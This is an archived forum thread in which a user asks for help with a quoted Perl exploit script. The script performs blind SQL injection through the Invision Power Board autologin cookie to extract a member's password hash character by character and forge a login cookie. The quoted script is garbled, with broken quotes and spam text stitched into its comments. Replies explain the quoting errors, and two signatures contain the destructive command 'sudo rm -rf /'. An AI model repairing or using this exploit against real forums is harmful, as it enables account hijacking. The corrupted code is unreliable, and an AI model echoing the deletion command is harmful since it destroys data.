Jump to content

Can you pleeeeease tell me what's wrong with this script ??

- - - - -

This topic has been archived. This means that you cannot reply to this topic.
7 replies to this topic

#1
aymendj

aymendj

    Newbie

  • Members
  • Pip
  • 3 posts
it keeps giving me the error "Unquoted string ipb..... etc

Quote

#!/usr/bin/perl -w
################################################## ################
# This one actually works quantriWEB Co., Ltd - Web Solutions, Web Hosting, Domain Name, Ecommerce, Web Design, Email Hosting, Internet Marketing Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and remus converter catalytic exhaust fan at remusomega.com (remus converter catalytic exhaust fan at remusomega.com)
################################################## ################
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0? . $ua->agent);
if (!$ARGV[0]) {$ARGV[0] = ";}
if (!$ARGV[3]) {$ARGV[3] = ";}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?
if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org (http://forums.site.org/) [id] [ver 1/2].\n\n";
exit;
}
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = ";
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ?
"99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=” . $sql);
my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = ";
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) )
{
$outputs .= $current;
print “$current\n”;
last;
}
}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;


#2
dargueta

dargueta

    Writes binary right handed and hex left handed

  • Moderators
  • 4,722 posts
my $outputs = ";
Need a second quote there.
sudo rm -rf /

#3
phpforfun

phpforfun

    Speaks fluent binary

  • Members
  • PipPipPipPipPipPipPipPip
  • 1,236 posts
pretty much everything that looks like two single quotes.. is one double quote.. lol
Checkout my new forum! http://adminreference.com/

#4
aymendj

aymendj

    Newbie

  • Members
  • Pip
  • 3 posts
whaaat??? what is it ??

#5
Alexander

Alexander

    It's Science!

  • Moderators
  • 4,124 posts

aymendj said:

whaaat??? what is it ??

An example:
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","   c","d","e","f");
my $outputs = ";


Your code is: my $outputs = [doublequote];
When it should be: my $outputs = [doublequote][doublequote];

You're missing the second quote, you did the same in other locations as well. A double quote is not two single quotes, it only looks like it.


Be sure to read the updated FAQ! || Health is achieved through the same 10,000 steps.
If a suggested code/method fails, informing us is less important than telling us why or what errors occurred.

#6
dargueta

dargueta

    Writes binary right handed and hex left handed

  • Moderators
  • 4,722 posts
Single quotes are usually exchangeable in Perl for double quotes, but not always. For example:

my $hello = 'Hello!';
my $double_quote = "\tTabbed message is $hello\n";
my $single_quote = '\tTabbed message is $hello\n';

print $double_quote;
print $single_quote;
Output:
    Tabbed message is Hello!
\tTabbed message is $hello\n

sudo rm -rf /

#7
aymendj

aymendj

    Newbie

  • Members
  • Pip
  • 3 posts
thx

#8
Alien Technology

Alien Technology

    Newbie

  • Members
  • Pip
  • 1 posts
The Perl code is in error.

This is a bad copy of the Perl script.

This script is all over the Internet.

Get a version that will compile.